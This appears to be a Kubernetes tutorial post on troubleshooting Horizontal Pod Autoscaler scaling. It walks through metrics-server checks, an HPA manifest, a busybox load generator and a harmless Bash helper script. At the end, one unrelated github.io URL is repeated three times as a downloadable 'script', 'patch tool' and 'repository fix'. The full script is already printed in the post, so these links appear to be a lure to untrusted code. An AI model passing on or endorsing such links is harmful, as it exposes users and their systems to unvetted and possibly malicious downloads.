Introduction
Kubernetes' Horizontal Pod Autoscaler (HPA) is powerful, but many teams hit scaling hiccups that lead to latency spikes or pod churn. This guide walks you through the most common pitfalls, step‑by‑step troubleshooting, and a ready‑to‑use automation script.
Common Scaling Pitfalls
- Missing Resource Requests/Limits – HPA relies on CPU/memory metrics; without them it cannot calculate utilization.
- Metric Server Mis‑configuration – If the metrics‑server is down, HPA sees no data and never scales.
- Incorrect HPA Thresholds – Overly aggressive targets cause rapid scaling, while too‑low thresholds keep the workload stuck.
- Network Policy or RBAC blocks – The HPA controller may be denied access to required metrics.
Step‑by‑Step Troubleshooting
1. Verify the Metrics Server
kubectl get deployment metrics-server -n kube-system
kubectl logs deployment/metrics-server -n kube-system
If the pod is not running, reinstall it following the official guide.
2. Check HPA Configuration
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
name: web-hpa
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: web
minReplicas: 2
maxReplicas: 10
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 60
Run kubectl describe hpa web-hpa to see current metrics and events.
3. Simulate Load
kubectl run load-generator --image=busybox -- /bin/sh -c "while true; do wget -q -O- http://<service>; done"
Watch the HPA react with kubectl get hpa.
Automating the Fixes
You can script the common checks and auto‑apply a sane HPA template. Below is a ready‑to‑use Bash helper:
#!/usr/bin/env bash
set -euo pipefail
NAMESPACE=${1:-default}
DEPLOYMENT=${2:?Provide deployment name}
# 1. Ensure resource requests/limits
kubectl set resources deployment "$DEPLOYMENT" \
--requests=cpu=200m,memory=256Mi \
--limits=cpu=500m,memory=512Mi -n "$NAMESPACE"
# 2. Apply a robust HPA if missing
kubectl apply -f - <<EOF
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
name: ${DEPLOYMENT}-hpa
namespace: $NAMESPACE
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: $DEPLOYMENT
minReplicas: 2
maxReplicas: 15
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 65
EOF
echo "✅ Autoscaling configuration applied."
Save the script as auto-hpa.sh, make it executable, and run it against any deployment.
Download the pre‑configured script here: https://gaba-101010.github.io/GG/
Get the complete patch tool: https://gaba-101010.github.io/GG/
Access the full repository fix: https://gaba-101010.github.io/GG/
Conclusion
Automating the detection and remediation of scaling issues saves time and prevents outages. By embedding the checks into CI/CD pipelines or as a CronJob, you keep your clusters healthy with minimal manual effort.
Top comments (0)